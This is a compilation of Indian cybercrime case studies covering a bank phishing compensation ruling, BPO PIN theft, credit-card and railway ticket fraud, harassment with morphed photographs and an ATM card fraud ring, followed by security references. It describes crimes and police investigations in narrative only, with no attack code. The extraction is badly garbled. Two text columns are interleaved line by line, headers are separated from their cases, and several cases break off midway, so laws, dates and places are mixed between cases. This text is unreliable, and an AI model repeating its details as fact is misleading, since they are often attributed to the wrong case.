Sections of Law: Section 65 and 66 of Information Technology (IT) Act, Be- City: CHENNAI
sides IPC 420.
Background:
Background:
Uma Shankar (victim) stated that he received an email purportedly from ICI-
The youth was identified as Manish Pandey from Kolkata, son of a doctor and CI Bank in September 2007, asking him to reply with his internet banking
a fourth semester dropout of an Engineering college. Manish was arrested on username and password, failing which his account would be deleted.
7 July 2012 for attempting to hack the website of ICICI Bank.
Unaware that the email was bogus, Uma Shankar replied with his details and
He intended to set up a clone server to facilitate transfer of funds from the soon after Rs6.46 lakhs was transferred from his account to another ICICI
bank and was allegedly being helped by a few IITians. Bank account, which withdrew 4.6 lakhs from an ICICI branch in Mumbai
and retained the balance in its account.
The youth had conducted a detailed vulnerability test of the banks website,
checked traffic flow details, traced the banks server at Bandra-Kurla Com- In his application for adjudication filed under the IT Act to the state IT secre-
plex (in Mumbai) and was attempting to set up a clone server to facilitate fund tary on June 26, 2008, he held the bank responsible for the loss.
transfer.
Uma Shankar immediately informed ICICI Bank about the fraud. However, he
His target was to make fund transfer of 10 crore from the bank so that he alleged that the bank didnt take any action and denied having any informa-
could have set up an IIT-JEE coaching institute in Varanasi. tion about the scammers account. So Uma Shankar sued ICICI Bank under
the Information Technology Act.
Pandey had come to Ahmedabad in search of a destination account holder,
through whose account he could have effected fund transfers and he was
Court Verdict:
Sections of Law 467, 468, 471, 379, 419, 420, 34 of IPC & 66 of IT Act.
Tamil Nadu IT secretary on Monday directed ICICI Bank to pay 12.85 lakhs
to an Abu Dhabi-based NRI within 60 days for the loss suffered by customer
due to a phishing fraud. The compensation includes the loss suffered by the
petitioner, the travel expenses and the financial loss incurred on account of Background:
complete lack of involvement of the respondent bank,
The accused in the case were working in a BPO that was handling the busi-
Next Action: ICICI Bank, however, maintains that the blame lies with the ness of a multinational bank. The accused, during the course of their work
customer and says it will be taking the case to a higher court. An ICICI spokes- had obtained the personal identification numbers (PIN) and other confiden-
man said, ICICI Bank will appeal. We reassure customers that our security tial information of the banks customers. Using these the accused and their
systems are continuously audited and neither our security nor our processes accomplices, through different cyber cafes, transferred huge sums of money
have been breached. from the accounts of different customers to fake accounts.
Conclusion: In 2001, the Reserve Bank of India ruled that banks must have Investigation:
a digital signature on all their electronic communication. Despite this, most
banks (and companies) do not use digital signatures On receiving the complaint, the entire business process of the complainant
firm was studied and a systems analysis was conducted to establish the pos-
sible source of the data theft.
Sources: http://whichrightchoice.com/icici-bank-to-pay-customer
The investigators were successful in arresting two people as they laid a trap
in a local bank where the accused had fake accounts for illegally transferring
http://articles.economictimes.indiatimes.com/ money.
During the investigation the system server logs of the BPO were collected. The
IP addresses were traced to the internet service provider and ultimately to the
cyber cafes through which illegal transfers were made.
The registers maintained in the cyber cafes and the owners of cyber cafes as-
sisted in identifying the other accused in the case. The e-mail Ids and phone
call printouts were also procured and studied to establish the identity of the
accused. The e-mail accounts of the arrested accused were scanned which
revealed vital information to identify the other accused. Some e-mail ac-
counts of the accused contained swift codes, which were required for internet
money transfer.
All the 17 accused in the case were arrested in a short span of time. The
charge sheet was submitted in the court within the stipulated time. In the
During the investigation, the investigating officer learned the process of wire
transfer, the banking procedures and weakness in the system. The investi- City: New Delhi
gating officer suggested measures to rectify the weakness in the present se-
curity systems of the call center. This has helped the local BPO industry in
Sections of Law 67 of IT Act, 120-B, 506, 509 IPC
taking appropriate security measures.
Background:
Source: - http://indiacyberlab.in/know_more/legal-hacking.htm
The complainant was receiving threatening and obscene e-mails from un-
14. INTELLECTUAL PROPERTY THEFT
known people. The e-mails contained the complainants obscene morphed
photographs. The accused threatened to post these on pornographic Web-
Case: Intellectual property theft sites and alleged that one such photograph was posted on a popular Website.
State: Karnataka
Investigation:
City: Bangalore The IP address used for posting the obscene photograph(s) on the Website and
the mails sent to the complainant were retrieved and traced to a company in
Delhi.
Sections of Law 65 and 66 of the IT Act 2000, 381, 420 of the Indian Penal
Code. A search of the computer terminals located in the companys premises was
conducted. The log records and cookies were examined. During the process,
Background: the morphed photograph of the complainant was found in one of the termi-
nals used by the accused. The e-mail accounts mentioned were also accessed
The complainant (Software Company based in Bangalore) alleged that some of after disclosure by the accused. The central processing unit of the computer
the companys former employees had accessed the companys IT system and was seized and sent for a forensic analysis to the central forensic science lab-
tampered with the source code of the software under development. oratory. Using disk imaging and analysis tools, the mirror image of the hard
disk was taken and analyzed which led to the recovery of all the incriminating
data/files required for the case
Investigation:
During the investigation it was learnt that the accused was an ex-colleague of
The investigating team visited the complainants premises and scanned the the complainant.
logs of e-mails. They identified the IP address and using tracing software
traced the ISP and the address of the place where the e-mails had been sent.
Source: - http://indiacyberlab.in/know_more/legal-hacking.htm
This address was of a Hyderabad based company. On visiting the company,
the investigating team found 13 computers and a server. Using specialized
forensic tools, the disks were imaged and analyzed by the team. The analy-
sis revealed that the original source code as well as its tampered version had
been stored from these systems.
Source: - http://indiacyberlab.in/know_more/legal-hacking.htm
Section of law 420 of I.P.C (Cheating) Sections of Law 67 of IT Act 2000 r/w sec 2 of Indecent Representation of
Women (Prohibition) Act 1986.
Background: The complainant received an e-mail stating that the sender had in his posi-
tion some objectionable/morphed/obscene photographs of the complainant.
Amit Tiwari had many names, bank accounts and clients. None of them were The accused in this case demanded to meet the complainant. Failing to do
for real. With a plan that was both ingenious and nave, the 21-year-old en- so, the accused threatened to put these on the Internet and circulate these
gineering student from Pune tried to defraud a Mumbai-based credit card among her friends and relatives.
processing company, CC Avenue, of nearly 900,000. He was arrested by the
Mumbai Police on August 21, 2003 after nearly an year of hide and seek with
CC Avenue. Hes been charged for cheating under Section 420. Investigation:
On receiving the complaint, the investigating team extracted the e-mail head-
Investigation: er to trace the IP address. This IP address was tracked down as a company.
CC Avenue verifies and validates credit cards of buyers for over a thousand Using system logs, the exact computer used and its user were identified. The
e-commerce Web sites. It conducts checks like IP mapping, zip code mapping accused was arrested. The investigating team also seized the computer and
and reverse lookup of telephone numbers. Amit Tiwari found a way to bypass some photographs of a look-alike of the victim from the accused. These ev-
them. In May 2002, Col Vikram Tiwari signed up for CC Avenues services. In idences were sent to the forensic sciences laboratory, which confirmed that
November, he requested the company to deal with his son, Amit, who offered the seized computer contained evidence that implicated the accused in the
Web designing services on www.mafiaz.com. CC Avenues security team con- incident.
firmed his credentials through bank signature verification, driving license and
his HDFC Bank debit card. Everything was genuine. Amit processed several
transactions, worth 311,508, via CC Avenue from November 2002 to Feb-
ruary 2003. Then the transactions stopped. In April 2003, CC Avenue began Source: - http://indiacyberlab.in/know_more/legal-hacking.htm
receiving charge-backs from the credit card holders, who denied using mafiaz.
coms Web designing service. Amit had assumed the identities of these cus-
tomers, and purchased www.mafiaz.coms services with credit card details
that he found on the Net. He was both the buyer and the seller. Calls to Am-
its house in Lucknow went unanswered. Legal notices came back unclaimed.
Amit had disappeared without a trace.
Source: www.Indiatimes.com
The investigating officer obtained a search warrant and raided the residence
State: Karnataka of the college student. Using disk imaging and analysis tools, the team recov-
ered the obscene profile that was posted on the Internet from the students
computer. The partners of the accused were also examined in the presence of
City: Bangalore City the complainant. The accused admitted that he was guilty.
It later transpired that the college student was a close family friend of the
Sections of Law 67 of IT Act 2000 complainant and that he was suffering from a personality disorder, secondary
depression and poor self-esteem.
Background:
Source: - http://indiacyberlab.in/know_more/legal-hacking.htm
A written complaint was submitted by the complainant stating that she had
been receiving obscene phone calls on her mobile and landline numbers. The
complainant learnt from the callers that a doctored profile of hers had been
posted on a Website. The profile stated that the complainant loved sex and 19. ONLINE RAILWAY TICKET FRAUD
when the viewers were in Bangalore, they should contact her. The profile also
gave out victims landline and mobile phone numbers.
Case: Online railway ticket fraud
Investigation:
State: Delhi
The investigating officer (IO) attempted to trace the culprit by using a differ-
ent e-mail ID on a chat site, when the perpetrator of the crime was online. City: New Delhi
However, IO was unsuccessful in obtaining the IP address of the perpetrators
computer system as his system was protected by a firewall. Subsequently,
the IO posted a mobile number, pretending to be a young girl wanting to make Sections of Law 420 IPC
friends. The same day, the perpetrator contacted the investigating officer on
his mobile phone. Accordingly, the investigating officer was able to identify
the perpetrators mobile number. Background:
The investigating officer obtained call details of the perpetrators number from An online railway ticket service provider lodged a complaint that some un-
the cellular service provider and observed that the most frequent incoming known people had used the Internet ticket booking facility to book 44 railway
and outgoing calls were from two other mobile numbers. The investigating tickets using the stolen credit card details. The department received charge-
officer also obtained the IMEI addresses for these numbers from the mobile back from the credit card companies for all the 44 transactions causing huge
service provider. financial losses.
The investigating officer sent out letters to the Website on which the obscene
Investigation:
profile of the complainant had been hosted to obtain details of the date, time
of the profile creation, the IP address used for the creation, the access details The investigation of the case revealed that the accused had booked more than
for the profile and any other details that the Website would be able to provide 44 tickets in the name of different persons through the departments Website
regarding the profile and the e-mail ID. and managed to get it delivered at different locations in Mumbai. The security
of the IP addresses used for booking the tickets, analysis of the different plac-
The investigating officer then contacted the outlet from where the mobile con-
es where tickets were delivered and the user-IDs created on the Web led to the
nection had been purchased and learnt that one of the SIM cards used was a
arrest of the accused. In all three cases user-IDs created by the accused on
demo card which had been issued to a dealership. Upon further investigation
the Website were recovered.
The said call option was compulsorily exercised by the exchange thus result- The Central Processing Unit was configured by the co-accused and the same
ing in a loss of INR 0.05 million to the complainant and wrongful gain to the was taken to cyber caf and on the pretext of downloading software. The ac-
culprits. cused downloaded the software from the attachment in his e-mail account
and executed the transaction by installing the software on the computer.
Investigation: The stock exchange provided the details of the trade log for
call option of buyer and seller. The user ID that was used to book the order Source: - http://indiacyberlab.in/know_more/legal-hacking.htm
could be traced from the information provided. Some of the information that
was provided was: 21. Hacking website
State: Maharashtra
Case: Sexual harassment
City: Mumbai
State: West Bengal
Sections of Law:
Police requested for IP addresses of the e-mail IDs from the Website hosting
company. In addition, they asked for IP logs and registration profiles of the
respective e-mail IDs. The logs revealed the service provider (ISP), who sub-
sequently provided the telephone number and address of the user.
However, this did not lead to a particular person or a group of people, as the
user was a company. Enquiries revealed that the accused was using the
Many complainants based in Mumbai had complained to the Cyber Crime In-
vestigation Cell, that the said company has duped them each for 6,000/- by
promising them with monthly income of 15,000/-.
On receipt of large-scale complaints from the billed credit card users and
Case: Indias First ATM Card Fraud
banks in the United States, the FBI started an investigation into the affair and
also alerted the CBI in New Delhi that the international gang had developed
State: Tamil-Nadu some links in India too.
Deepak Prem Manwani (22), who was caught red-handed while breaking into
City: CHENNAI an ATM in the city in June 2012, it is reliably learnt. The dimensions of the
city cops achievement can be gauged from the fact that they have netted a
man who is on the wanted list of the formidable FBI of the United States.
Background:
At the time of his detention, he had with him 7.5 lakhs knocked off from two
The Chennai City Police busted an international gang involved in cybercrime, ATMs in T Nagar and Abiramipuram in the city. Prior to that, he had walked
with the arrest of Deepak Prem Manwani (22). away with 50,000 from an ATM in Mumbai.
Manwani is a MBA drop-out from a Pune college and served as a marketing While investigating Manwanis case, the police stumbled upon a cyber-crime
executive in a Chennai-based firm for some time. Interestingly, his audacious involving scores of persons across the globe. Manwani has since been en-
crime career started in an Internet cafe. While browsing the Net one day, he larged on bail after interrogation by the CBI. But the city police believe that
got attracted to a site which offered him assistance in breaking into the ATMs. this is the beginning of the end of a major cyber-crime.
His contacts, sitting somewhere in Europe, were ready to give him credit card
numbers of a few American banks for $5 per card. The site also offered the
magnetic codes of those cards, but charged $200 per code.
The operators of the site had devised a fascinating idea to get the personal
identification number (PIN) of the card users. They floated a new site which
resembled that of a reputed telecom companies. That company has millions
of subscribers. The fake site offered the visitors to return $11.75 per head
which, the site promoters said, had been collected in excess by mistake from
them.
Believing that it was a genuine offer from the telecom company in question,
several lakhs subscribers logged on to the site to get back that little money,
but in the process parted with their PINs.
Armed with all requisite data to hack the bank ATMs, the gang started its
systematic looting. Apparently, Manwani and many others of his ilk entered
into a deal with the gang behind the site and could purchase any amount of
data, of course on certain terms or simply enter into a deal on a booty-sharing
basis.
What They Wont Tell You about the Internet: by Wang, Wallace
http://wiki.ggc.edu/
https://en.wikipedia.org
http://www.cloudbric.com
CEH Certified Ethical Hacker Study Guide by Graves, Kimberly
http://www.imperva.com/Resources/Glossary?term=cross_site_
scripting
http://projects.webappsec.org/w/page/13246920/Cross%20Site%20
Scripting
http://www.iss.net/security_center/advice/Underground/Hacking/
Methods/Technical/Packet_sniffing/default.htm
www.techopedia.com/definition/27471/address-resolution-proto-
col-poisoning-arp-poisoning
ttps://www.concise-courses.com/security/top-ten-pentesting-tools/
http://yewchuan.wordpress.com
http://www.spamlaws.com
http://insecure.org/stf/secnet_ids/secnet_ids.html
http://johncrackernet.blogspot.in/2007/01/intrusion-detection-sys-
tem-ids-evasion.
http://www.indiaforensic.com/atmfraud.htm